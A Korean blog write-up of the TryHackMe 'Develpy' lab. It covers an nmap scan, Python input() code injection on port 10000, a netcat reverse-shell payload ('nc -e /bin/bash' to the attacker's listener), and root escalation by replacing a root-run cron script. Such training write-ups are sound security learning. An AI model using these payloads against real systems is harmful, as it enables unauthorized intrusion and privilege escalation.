본문으로 바로가기

[TryHackMe] Develpy

category Pentest/TryHackMe 2023. 9. 28. 03:47
728x90
반응형

목차

    logo

    개요

    TryHackMe에서 연습문제를 보다가 Python 로고가 눈에 띄어 도전하게되었다. 호기롭게 풀다가 결국엔 다른 Writeup을 보게되었다. 중간에 잘못된 방향에 허우적대느라 문제 풀이 사고가 엉켜버려 당황한 문제이기도 하다. 중간에 새롭게 알게된 키워드도 있으니 잘 기록해두려한다.

     

    Scanning

    TryHackMe를 통해서 문제를 풀이할 때는 Nmap부터 시작하는 건 이제 나름대로의 규칙이 되버린 것 같다. 다음은 Nmap으로 포트 스캔을 한 결과이다.

    ╰─$ sudo nmap -sC -sV 10.10.189.199
    Password:
    Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-28 00:28 KST
    Nmap scan report for 10.10.189.199
    Host is up (0.30s latency).
    Not shown: 998 closed tcp ports (reset)
    PORT      STATE SERVICE           VERSION
    22/tcp    open  ssh               OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 78:c4:40:84:f4:42:13:8e:79:f8:6b:e4:6d:bf:d4:46 (RSA)
    |   256 25:9d:f3:29:a2:62:4b:24:f2:83:36:cf:a7:75:bb:66 (ECDSA)
    |_  256 e7:a0:07:b0:b9:cb:74:e9:d6:16:7d:7a:67:fe:c1:1d (ED25519)
    10000/tcp open  snet-sensor-mgmt?
    | fingerprint-strings:
    |   GenericLines:
    |     Private 0days
    |     Please enther number of exploits to send??: Traceback (most recent call last):
    |     File "./exploit.py", line 6, in <module>
    |     num_exploits = int(input(' Please enther number of exploits to send??: '))
    |     File "<string>", line 0
    |     SyntaxError: unexpected EOF while parsing
    |   GetRequest:
    |     Private 0days
    |     Please enther number of exploits to send??: Traceback (most recent call last):
    |     File "./exploit.py", line 6, in <module>
    |     num_exploits = int(input(' Please enther number of exploits to send??: '))
    |     File "<string>", line 1, in <module>
    |     NameError: name 'GET' is not defined
    |   HTTPOptions, RTSPRequest:
    |     Private 0days
    |     Please enther number of exploits to send??: Traceback (most recent call last):
    |     File "./exploit.py", line 6, in <module>
    |     num_exploits = int(input(' Please enther number of exploits to send??: '))
    |     File "<string>", line 1, in <module>
    |     NameError: name 'OPTIONS' is not defined
    |   NULL:
    |     Private 0days
    |_    Please enther number of exploits to send??:
    ...
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 145.11 seconds

    22 ssh, 10000 snet-sensor-mgmt 외에는 다른 포트는 보이지 않는다 10000은 처음 보는 포트인데 기존에 Http를 통해서 접근하던 문제들과는 다른 방식을 취해야한다.

     

     

    Ganing Access

    10000 포트는 http를 이용할 수 없으니 nc를 이용해 연결요청을 시도해보자.

    $ nc TARGET_IP 10000

    다음과 같은 CLI가 표출된다.

    ╰─$ nc 10.10.189.199 10000
    
            Private 0days
    
     Please enther number of exploits to send??: 999999
    
    Exploit started, attacking target (tryhackme.com)...
    Exploiting tryhackme internal network: beacons_seq=1 ttl=1337 time=0.035 ms
    Exploiting tryhackme internal network: beacons_seq=2 ttl=1337 time=0.020 ms
    Exploiting tryhackme internal network: beacons_seq=3 ttl=1337 time=0.043 ms
    Exploiting tryhackme internal network: beacons_seq=4 ttl=1337 time=0.011 ms
    Exploiting tryhackme internal network: beacons_seq=5 ttl=1337 time=0.059 ms

    숫자를 입력하니 그만큼 Ping을 날리는 것처럼 보인다. Command Injection이 가능할것이라 특정할 수는 없으나 공격 페이로드를 사용해 system command 를 실행시킬 수 있는지 테스트해보자.

     

     

    __import__("os").system("ls")

    공격 페이로드를 통해 "ls"명령을 실행하자 파일 목록이 표출된다. 해당 목록에는 user.txt가 있었으니 이를 읽으면 user.txt 플래그를 얻을 수 있다.

    더 나아가서 로컬에서 포트를 하나 열어놓고 reverse shell 페이로드를 삽입하면 reverse shell을 획득할 수 있다.

     

    __import__("os").system("nc -e /bin/bash LOCAL_IP LOCAL_PORT")

     

     

    Privilige Escalate

     

    Stabilized Shell

    python으로 shell을 얻어오자.

    ╰─$ nc -l 4242                                                                                                                 130 ↵
    
    id
    uid=1000(king) gid=1000(king) groups=1000(king),4(adm),24(cdrom),30(dip),46(plugdev),114(lpadmin),115(sambashare)
    
    python -c "import pty;pty.spawn('/bin/bash')"
    king@ubuntu:~$

     

    Enumeration

    Root 권한을 얻기 위해 System Enumeration 도구를 사용하기 전에 crontab을 일단 살펴보자.

    king@ubuntu:~$ cat /etc/crontab
    cat /etc/crontab
    # /etc/crontab: system-wide crontab
    # Unlike any other crontab you don't have to run the `crontab'
    # command to install the new version when you edit this file
    # and files in /etc/cron.d. These files also have username fields,
    # that none of the other crontabs do.
    
    SHELL=/bin/sh
    PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
    
    # m h dom mon dow user	command
    17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
    25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
    47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
    52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
    *  *	* * *	king	cd /home/king/ && bash run.sh
    *  *	* * *	root	cd /home/king/ && bash root.sh
    *  *	* * *	root	cd /root/company && bash run.sh

    root 권한으로 실행하는 shell script 파일 2개가 보인다. root.sh 와 run.sh 이다. "/home/king"로 이동한 다음 root.sh를 root 권한으로 실행하니 이 파일에 reverse shell을 일으키는 코드를 심어주면 될 것 같다.

     

    root.sh의 소유권한을 보아하니 root이다. root.sh의 내용을 변경하거나 수정할 수 있으면 좋겠지만 그러지 못한다. 하지만 삭제는 가능하다. 다음과 같이 root.sh 를 삭제한 이후 reverse shell을 심어주자.

    root 권한까지 얻었다.

     

    기타

    Npiet?

    이 문제에서 새롭게 알게 된 부분은 king의 home 디렉토리에 존재하는 credentials.png라는 파일을 통해서이다. 이 파일을 열어보면 다음과 같은 이미지가 나온다

    이 이미지를 보고 binwalke, foremost, zsteg, stegsolver, zlib-plate 까지 다 돌려봤는데 정체를 알아낼 수 없었다. 이 파일의 정체는 npiet 라는 형식의 파일이다. 그래픽 이미지를 코드로 사용하는 개념을 기반으로 한 프로그래밍 언어라고 한다.

    https://www.bertnase.de/npiet/npiet-execute.php 에서 해당 이미지를 디코딩 할 수 있다고 하는데 어떤 방법을 통해거 가능한지는 조사하지 못했다.

     

    BertNase's Own - npiet fun!

     

    www.bertnase.de

     

     

     


    안녕하세요 jako입니다.

    해당 글을 통해 유용한 정보를 얻으셨길 바랍니다.

    경험과 지식의 공유를 통해 조금 더 양질의 정보를 생성하기위한 뉴스레터를 만들었습니다.

    블로그에는 기재되지 않을 유용한 정보 또한 뉴스레터에 담아 발행하고자합니다. 

    링크를 클릭하여 뉴스레터를 구독해주세요.

    양질의 정보와 함께 찾아뵙겠습니다.


    728x90
    반응형

    'Pentest > TryHackMe' 카테고리의 다른 글

    [TryHackMe] Valley  (0) 2023.08.30
    [TryHackMe] Pickle Rick  (0) 2023.08.19
    [TryHackMe] Easy Peasy  (0) 2023.07.23
    [TryHackMe] OverPass2  (0) 2023.07.15
    [TryHackMe] Ninja Skills  (0) 2023.03.18